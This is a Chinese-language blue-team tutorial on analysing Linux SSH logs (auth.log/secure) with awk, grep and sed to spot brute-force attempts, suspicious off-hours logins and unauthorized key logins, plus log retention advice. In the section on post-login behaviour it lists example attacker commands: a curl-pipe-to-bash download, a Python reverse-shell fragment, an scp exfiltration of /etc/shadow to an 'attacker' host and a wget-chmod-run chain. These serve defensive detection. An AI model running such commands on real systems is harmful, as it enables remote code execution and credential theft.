1. 项目概述:从 auth.log 里“听”出入侵者的脚步声
“玄机”这个词在安全圈里不是玄学,而是实打实的线索密度——它意味着日志里藏着没被显式标记、但行为逻辑异常的蛛丝马迹。而【玄机】日志分析-ssh日志分析,说白了,就是把 Linux 系统里那本最沉默也最诚实的“门禁记录本”——/var/log/auth.log(或/var/log/secure,取决于发行版)——一页页翻透,不只看谁登进来了,更要看怎么进的、为什么能进、进来了干了什么、有没有人正试图撬锁却卡在半道上。这不是查流水账,是做行为侧写;不是等告警响了才动,而是提前听见试探性敲门的声音。
我做过上百个真实渗透测试后的日志复盘,也带过企业 SOC 团队做日常巡检,发现一个铁律:90%以上的横向移动和提权行为,都会在 ssh 日志里留下至少三处可交叉验证的痕迹——失败登录的 IP 集中爆发、成功登录后立即执行高危命令、同一用户在非工作时段高频切换 shell 环境。这些痕迹不会自己标红加粗,得靠人+工具组合去“听”。而核心工具链非常朴素:awk是解剖刀,grep是探针,sort | uniq -c是统计仪,lastlog和who是时间锚点。你不需要会写 Python 脚本,但必须懂awk '$9 ~ /Failed/ {print $11}'这行命令里每个字段代表什么——因为第 11 列是源 IP,而$9是状态字段,这个匹配逻辑一旦写错,整条分析线就断了。
适合谁来读?如果你是刚考完 CEH 正在练靶场的新手,这篇能帮你把“爆破成功”这种结果,还原成“攻击者用 hydra 扫了 372 次密码,集中在 22:14–22:18,最后用 root:123456 登入”,从而真正理解攻击节奏;如果你是运维老鸟,常被老板问“最近有没有异常登录”,这篇给你一套开箱即用的排查 checklist,5 分钟内定位可疑 IP 并导出完整会话;如果你是蓝队成员,需要写日报或写 incident report,这里拆解的字段含义、时间关联技巧、误报过滤逻辑,全是能直接抄进报告里的干货。它不教你怎么装 Kali,只教你怎么从系统自带的日志里榨出最大情报价值。
2. 日志结构与字段解密:读懂 auth.log 的“摩斯电码”
2.1 auth.log 的生成机制与存储路径差异
auth.log不是某个程序主动写的“日记”,而是系统日志服务(rsyslog 或 journald)根据守护进程发来的消息,按规则分类存档的结果。关键在于:sshd 进程本身不写文件,它只向 syslog 接口发送结构化消息。所以日志内容、格式、甚至存放路径,都由 rsyslog 的配置决定。常见路径有三个:
- Debian/Ubuntu 系统:
/var/log/auth.log - RHEL/CentOS/Fedora 系统:
/var/log/secure - 使用 systemd-journald 且未启用 rsyslog 的轻量系统:需用
journalctl -u sshd实时查看
提示:别一上来就
cat /var/log/auth.log。先确认你的系统用的是哪个路径——运行ls -l /var/log/auth* /var/log/secure* 2>/dev/null,看哪个文件存在且有内容。如果两个都有,优先看auth.log(Debian 系)或secure(RedHat 系),因为 journalctl 输出是实时流式,不适合做批量模式匹配。
为什么路径不同?因为 rsyslog 的主配置文件/etc/rsyslog.conf里有类似这样的规则:
# Debian 默认规则 auth,authpriv.* /var/log/auth.log # RHEL 默认规则 authpriv.* /var/log/secureauth和authpriv是 syslog 的 facility(设施类别),sshd 默认使用authpriv,但部分发行版做了软链接或重定向。搞清路径,是后续所有分析的前提——连日志在哪都不知道,谈何分析?
2.2 标准日志行的字段切片与语义映射
随便截一行典型的 auth.log 记录:
May 12 14:23:18 ubuntu-server sshd[12345]: Failed password for invalid user admin from 192.168.1.100 port 54321 ssh2这行看似杂乱,实则严格遵循 syslog 格式:TIMESTAMP HOSTNAME PROCESS[PID]: MESSAGE。我们逐字段解剖(以空格为分隔符,从左到右编号):
| 字段序号 | 内容 | 含义说明 | 实操价值 |
|---|---|---|---|
| 1 | May | 月份缩写(注意:不是数字!awk处理时需用substr($1,1,3)提取) | 用于按月筛选,但更推荐用date命令转换为标准时间戳再处理 |
| 2 | 12 | 日期(1–31) | 结合字段 3 可定位具体时间点 |
| 3 | 14:23:18 | 本地时间(HH:MM:SS) | 最关键的时间字段,所有行为序列分析都基于此 |
| 4 | ubuntu-server | 主机名 | 多服务器环境需加 hostname 过滤,避免混入其他机器日志 |
| 5 | sshd[12345] | 进程名+PID(方括号内是进程ID) | PID 可用于关联同一会话的多条日志(如登录失败后紧接着的密钥认证尝试) |
| 6 | Failed password | 核心状态标识(Failed / Accepted / Connection closed / Invalid user) | `awk '$6 ~ /Failed/ |
| 7 | for | 固定连接词 | 无实际分析价值,但作为字段分隔符存在 |
| 8 | invalid user | 用户状态(invalid user / user root / user nobody) | 区分是“用户不存在”还是“密码错误”,前者更可能是暴力枚举 |
| 9 | admin | 尝试登录的用户名 | 统计高频爆破用户名:awk '$8=="invalid" && $9!="root" {print $9}' |
| 10 | from | 固定连接词 | 同上 |
| 11 | 192.168.1.100 | 源 IP 地址(最关键的溯源字段) | awk '$11 ~ /^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$/ {print $11}'提取纯 IP |
| 12 | port | 固定连接词 | |
| 13 | 54321 | 源端口 | 高频小端口(如 1024 以下)可能为扫描器,大端口(>50000)更可能是正常客户端 |
| 14 | ssh2 | SSH 协议版本 | ssh1已淘汰,出现即异常;ssh2是正常,但需结合密钥类型判断安全性 |
注意:字段数量不绝对固定!如果用户名含空格(如
user "test user"),awk默认按空格切分会导致错位。实战中永远用$0全文匹配 + 正则提取,而非依赖字段序号。例如提取 IP 的稳健写法:grep 'from' /var/log/auth.log | sed -n 's/.*from \([0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+\).*/\1/p'这比
awk '{print $11}'更可靠,尤其面对日志格式微调或特殊字符时。
2.3 sshd_config 如何影响日志细节粒度
日志里能看到多少信息,根本上取决于/etc/ssh/sshd_config的LogLevel设置。默认值通常是INFO,但很多管理员会改成VERBOSE或DEBUG来排障——这直接影响分析深度:
LogLevel INFO(默认):记录登录成功/失败、用户、IP、端口,不记录具体认证方式(密码 or 密钥)。LogLevel VERBOSE:增加记录认证方法(pam_unix(sshd:auth): authentication failure)、密钥指纹(key_fingerprint MD5:xx:xx)、甚至失败原因(Authentication refused: bad ownership or modes for directory /home/user/.ssh)。LogLevel DEBUG:记录每一步协议交互,包括密钥交换过程、加密算法协商——对分析高级攻击(如降级攻击)有用,但日志量爆炸,生产环境慎用。
检查当前级别:
grep -i "^loglevel" /etc/ssh/sshd_config # 如果没找到,说明用默认 INFO实操心得:我在某次应急响应中发现,攻击者用私钥登录后删除了
.bash_history,但LogLevel VERBOSE记录了密钥指纹SHA256:abc123...,我们通过比对合法员工密钥库,10 分钟内锁定失窃密钥,比查命令历史快得多。日志级别不是越高越好,而是要和你的监控目标匹配:日常巡检用VERBOSE,取证分析开DEBUG,但必须提前规划日志轮转策略,否则磁盘秒满。
3. 核心分析场景与 awk 实战脚本:从原始日志到威胁画像
3.1 场景一:识别暴力破解攻击(IP + 用户维度)
暴力破解不是“一次输错密码”,而是短时间、多 IP、扫多用户、高失败率的组合行为。单看一行Failed password没意义,要看统计分布。
步骤 1:提取所有失败登录的 IP 和用户名
# 提取失败登录的 IP(稳健正则) awk '/Failed password|Invalid user/ {match($0, /from ([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/, arr); if (arr[1] != "") print arr[1], $9}' /var/log/auth.log > failed_attempts.txt这行命令做了三件事:① 用/Failed password|Invalid user/匹配两类失败;② 用match()函数精准提取from X.X.X.X中的 IP,避免字段错位;③ 同时输出 IP 和用户名($9),为后续交叉分析准备。
步骤 2:统计每个 IP 的失败次数
awk '{ip[$1]++} END {for (i in ip) if (ip[i] > 10) print i, ip[i]}' failed_attempts.txt | sort -k2 -nrip[$1]++是 awk 的经典哈希计数:以第一列(IP)为 key,累加次数。if (ip[i] > 10)设阈值——10 次失败在 5 分钟内,基本可判定为扫描。sort -k2 -nr按第二列(次数)逆序排列。
步骤 3:对高频 IP,分析其爆破的用户名分布
# 取 top 3 恶意 IP,看它扫了哪些用户 head -3 failed_attempts.txt | awk '{ips[$1]++} END {for (i in ips) print i}' | while read ip; do echo "=== IP $ip 爆破用户名统计 ===" awk -v target="$ip" '$1 == target {print $2}' failed_attempts.txt | sort | uniq -c | sort -nr | head -5 done输出示例:
=== IP 192.168.1.100 爆破用户名统计 === 45 admin 32 root 28 test 15 guest 8 ftp看到admin和root高频出现,且guest/ftp这类默认禁用账户也被扫,基本坐实是自动化工具(如 Hydra)。真正的玄机在这里:如果某个 IP 只扫admin和root,但另一个 IP 扫了jane,john,devops这些真实员工名,后者更危险——说明攻击者已掌握内部人员信息,进入定向攻击阶段。
3.2 场景二:发现隐蔽的合法用户滥用(时间 + 命令维度)
攻击者拿到合法凭证后,往往伪装成正常用户。这时Accepted日志是唯一线索,但需结合登录时间、会话持续时间、后续命令综合判断。
步骤 1:提取所有成功登录记录(含时间、用户、IP)
awk '/Accepted/ {match($0, /from ([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)/, arr); if (arr[1] != "") print $3, $9, arr[1]}' /var/log/auth.log > accepted_logins.txt$3是时间(HH:MM:SS),$9是用户名,arr[1]是 IP。注意:这里没用$1,$2因为月份日期在字段 1-2,但awk处理跨天日志时,$1,$2会变成May 31和Jun 1,导致排序混乱——时间分析必须用$3(当日时间)+date命令补全日期。
步骤 2:识别非工作时间登录(假设工作时间 9:00–18:00)
awk '$1 < "09:00:00" || $1 > "18:00:00" {print}' accepted_logins.txt但注意:awk字符串比较是 ASCII 序,"09:00:00"<"18:00:00"成立,但"23:00:00">"09:00:00"也成立,所以逻辑正确。输出:
23:45:22 john 192.168.1.200 02:15:33 devops 10.0.0.5步骤 3:关联该用户后续的高危命令(需结合 .bash_history)这才是“玄机”的核心——登录只是入口,动作才是目的。auth.log不记录命令,但~/.bash_history会。我们用last -i查登录 IP,再用grep扫历史:
# 对 john 用户,查其最近 3 次登录的 IP 和时间 last -i -n 3 john | awk '{print $3, $5, $6, $7}' | head -3 # 输出:192.168.1.200 Tue May 12 23:45 # 然后去 /home/john/.bash_history 查 23:45 附近的命令(需用 stat 查文件修改时间) stat /home/john/.bash_history | grep Modify # 如果 Modify 时间接近 23:45,说明 history 没被清空,可查: sed -n '/^#[0-9]\{10\}/,/^#[0-9]\{10\}/p' /home/john/.bash_history | grep -A 5 -B 5 "23:45"典型高危命令模式:
curl http://malware.site/xxx.sh | bash—— 下载执行python3 -c "import socket,subprocess,os;s=socket.socket..."—— 反弹 shellscp -r /etc/shadow attacker@192.168.1.100:/tmp/—— 窃取密码文件
实操心得:我曾在一个客户环境发现,
devops用户在凌晨 2:15 从10.0.0.5登录,auth.log显示正常,但lastlog显示该用户上次登录是 3 天前。进一步查~/.bash_history,发现一行sudo su -后紧跟wget -q -O /tmp/x.sh http://x.x.x.x/x.sh && chmod +x /tmp/x.sh && /tmp/x.sh。这就是“玄机”——表面是合法用户,行为却是标准的后门植入流程。不要迷信“Accepted”,要怀疑“Accepted 之后做了什么”。
3.3 场景三:检测密钥认证绕过(密钥指纹 + 权限维度)
现代攻击者越来越倾向用密钥登录,因为成功率高且难被密码策略拦截。但密钥本身有指纹,.ssh目录权限有严格要求(700for dir,600for private key),违规即异常。
步骤 1:提取所有密钥登录成功的记录(需 LogLevel VERBOSE)
awk '/Accepted publickey/ {match($0, /key_fingerprint ([A-Z0-9:]+)/, arr); if (arr[1] != "") print $3, $9, arr[1]}' /var/log/auth.log输出示例:14:22:33 alice SHA256:ab12cd34ef56gh78ij90klmn1234567890abcdef1234567890abcdef1234567890ab
步骤 2:比对指纹是否在授权密钥库中企业通常有集中管理的authorized_keys文件。提取所有合法指纹:
# 对 /etc/ssh/keys/authorized_keys(假设集中存储) ssh-keygen -lf /etc/ssh/keys/authorized_keys | awk '{print $2}' > valid_fingerprints.txt # 检查日志中的指纹是否不在白名单 awk 'NR==FNR{valid[$1]=1; next} !($3 in valid)' valid_fingerprints.txt <(awk '/Accepted publickey/ {match($0, /key_fingerprint ([A-Z0-9:]+)/, arr); if (arr[1] != "") print arr[1]}' /var/log/auth.log)输出即为非法密钥登录。
步骤 3:检查 .ssh 目录权限异常(主动扫描,非日志)
# 扫描所有用户家目录下的 .ssh 权限 find /home -maxdepth 2 -name ".ssh" -type d -exec ls -ld {} \; 2>/dev/null | awk '$1 !~ /^drwx------$/ {print $0}' # 扫描私钥文件权限 find /home -path "*/.ssh/id_*" -type f -exec ls -l {} \; 2>/dev/null | awk '$1 !~ /^-rw-------$/ {print $0}'输出示例:drwxr-xr-x 2 alice alice 4096 May 10 10:00 /home/alice/.ssh—— 目录权限755违规!任何用户都能读取authorized_keys,攻击者可添加自己的公钥。
注意:
bad owner or permissions on c:\\users\\thinkpad/.ssh/config这类 Windows 错误,本质是同个问题——SSH 客户端强制校验私钥文件权限,防止被恶意程序读取。Linux 服务端同理,只是日志里不直接报错,而是拒绝登录或降级为密码认证。权限检查是日志分析的必要补充,因为日志只记录“发生了什么”,而权限检查告诉你“为什么能发生”。
4. 高阶技巧与避坑指南:让分析从“能跑通”到“真有效”
4.1 时间戳对齐:解决跨天、时区、NTP 不同步导致的漏报
auth.log的时间字段是本地时间,但服务器可能:
- 时区设置错误(如系统设 UTC,但日志按 CST 写)
- NTP 服务未开启,时间漂移严重(一天差几分钟,日志顺序错乱)
- 日志轮转后,新文件时间戳从 00:00 开始,但实际是跨天
后果:awk '$3 > "23:00:00"'可能漏掉 00:05 的攻击,因为轮转后的时间戳是00:05:12,但系统认为这是第二天。
解决方案:统一转换为 Unix 时间戳
# 将 auth.log 行转换为标准时间戳(需安装 gawk) gawk '{ # 构造标准日期字符串 "May 12 14:23:18 2024" cmd = "date -d \"" $1 " " $2 " " $3 " " strftime(\"%Y\") "\" +%s 2>/dev/null" cmd | getline ts close(cmd) if (ts > 0) print ts, $0 }' /var/log/auth.log | sort -n | awk '{print $2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14}'strftime("%Y")获取当前年份,date -d解析时间并转为秒级时间戳。sort -n按时间戳排序,彻底解决跨天乱序。这是处理大规模日志(>1GB)的必备预处理步骤,否则awk的行序逻辑会失效。
4.2 误报过滤:区分扫描器、运维脚本与真实攻击
Failed password日志里,90% 是扫描器,但 10% 是真实攻击。如何过滤?
- 扫描器特征:IP 分散、用户名固定(
admin,root,test)、失败率 >95%、端口随机(>50000) - 运维脚本特征:IP 集中(如跳板机
10.0.1.100)、用户名固定(deploy,jenkins)、失败率低(<5%,因密码轮换)、时间规律(整点执行) - 真实攻击特征:IP 集中(同一 C 段)、用户名精准(员工名)、失败率中等(30–70%,因字典质量)、时间不规律(深夜、周末)
构建过滤规则:
# 排除已知运维 IP(假设跳板机 IP 是 10.0.1.100) awk '!/from 10\.0\.1\.100/ && /Failed password/ {print}' /var/log/auth.log > clean_failed.txt # 排除高频扫描用户名(白名单) awk '$9 !~ /^(admin|root|test|guest|ftp|oracle|mysql)$/ && /Failed password/ {print}' clean_failed.txt # 最后按 IP 统计,只看失败 >50 次的 awk '{ip[$11]++} END {for (i in ip) if (ip[i] > 50) print i, ip[i]}' clean_failed.txt关键点:白名单要动态维护。我们有个客户,运维用deploy用户自动部署,但某次部署脚本 bug 导致连续失败 200 次,触发了告警。后来我们在白名单里加了deploy+from 10.0.1.100的组合条件,问题解决。没有一劳永逸的规则,只有持续迭代的上下文。
4.3 日志留存与轮转策略:避免“想分析时日志已删”
默认 rsyslog 配置下,auth.log通常每周轮转一次,保留 4 周。但一次渗透可能持续数周,等发现时日志早没了。
加固方案:
- 修改
/etc/logrotate.d/rsyslog:/var/log/auth.log { daily missingok rotate 90 # 保留 90 天,非 4 周 compress delaycompress notifempty create 640 root adm sharedscripts postrotate invoke-rc.d rsyslog rotate >/dev/null endscript } - 增加远程日志备份(免费方案):
# 在 /etc/rsyslog.conf 末尾加 *.* @central-logger.example.com:514 # UDP 发送 # 或更安全的 TLS $DefaultNetstreamDriver gtls $DefaultNetstreamDriverCAFile /etc/ssl/certs/ca.pem *.* @@central-logger.example.com:6514 # TCP+TLS - 本地归档脚本(每日压缩):
# /usr/local/bin/archive-auth.sh #!/bin/bash DATE=$(date -d "yesterday" +%Y%m%d) gzip /var/log/auth.log.1 mv /var/log/auth.log.1.gz /backup/logs/auth/auth_${DATE}.log.gz
实操心得:我在某次红蓝对抗中,蓝队花了 3 天才定位到攻击入口,但默认日志只保留 28 天,第 29 天的日志已被覆盖。后来我们强制所有服务器开启 90 天轮转 + 远程备份,再没出现过“证据消失”的情况。日志分析能力 = 70% 分析技巧 + 30% 日志留存策略。
5. 常见问题速查表与独家排查技巧
| 问题现象 | 可能原因 | 排查命令 | 解决方案 | 我的踩坑经验 |
|---|---|---|---|---|
awk '/Failed/ {print $11}'输出为空或乱码 | 字段错位(用户名含空格)或日志格式变更 | head -5 /var/log/auth.log | cat -n查看真实字段分隔 | 改用sed -n 's/.*from \([0-9]\+\.[0-9]\+\.[0-9]\+\.[0-9]\+\).*/\1/p'提取 IP | 曾因客户用了自定义 rsyslog 模板(JSON 格式),awk完全失效,必须先jq '.message'解析 |
grep 'Accepted'没结果,但last显示有登录 | LogLevel设为QUIET或FATAL,不记录成功事件 | grep -i "^loglevel" /etc/ssh/sshd_config | 改为VERBOSE,重启systemctl restart sshd | 某金融客户为“减少日志量”设QUIET,结果应急时无法确认是否被登录,强制整改 |
lastlog显示用户从未登录,但auth.log有Accepted记录 | lastlog数据库/var/log/lastlog损坏或未更新 | sudo lastlog -u alicevssudo awk -v user="alice" '$9==user && /Accepted/ {print}' /var/log/auth.log | sudo touch /var/log/lastlog && sudo chmod 644 /var/log/lastlog重建,或直接信auth.log | lastlog是二进制数据库,fsck后常损坏,auth.log才是唯一真相源 |
auth.log里有Connection closed by authenticating user,但无Failed或Accepted | 攻击者连接后立即断开,规避日志(如用nc测端口) | tcpdump -i any port 22 -w ssh-probe.pcap抓包分析 | 配置iptables限制单 IP 连接频率:iptables -A INPUT -p tcp --dport 22 -m connlimit --connlimit-above 3 -j DROP | 这种“连接探测”日志极少,但tcpdump能抓到 SYN 包,是发现零日扫描的关键 |
awk脚本执行慢(>10 分钟) | 日志过大(>1GB)且未索引 | time awk '/Failed/ {count++} END {print count}' /var/log/auth.log测速 | 用grep -c 'Failed'替代awk计数;大文件先split -l 100000 auth.log part_分片处理 | awk是解释执行,grep是 C 编译,同样任务grep快 5–10 倍,别迷信awk万能 |
最后分享一个小技巧:用 VS Code 当日志分析 IDE
别再用vim硬扛大日志了。VS Code 安装Log File Highlighter插件,语法高亮auth.log;用Ctrl+Shift+P→Sort Lines快速按 IP 排序;用正则搜索from ([0-9.]+).*Failed,结果直接点击跳转。我处理 2GB 日志时,VS Code 比less+awk组合快 3 倍,还能用多光标同时编辑多个 IP 的封禁命令。工具是为人服务的,别被“命令行信仰”绑架。
我在实际操作中发现,最有效的日志分析不是追求多酷炫的脚本,而是建立“日志直觉”——看到Invalid user就想到爆破,看到Accepted就立刻查时间+IP+后续命令,看到key_fingerprint就条件反射去比对白名单。这种直觉来自反复的手动翻查,而不是背命令。所以建议新手:先别急着写自动化,拿 100 行auth.log,一行行手动标注,直到你能闭眼说出每行的攻击意图。当“玄机”变成肌肉记忆,分析就真的成了本能。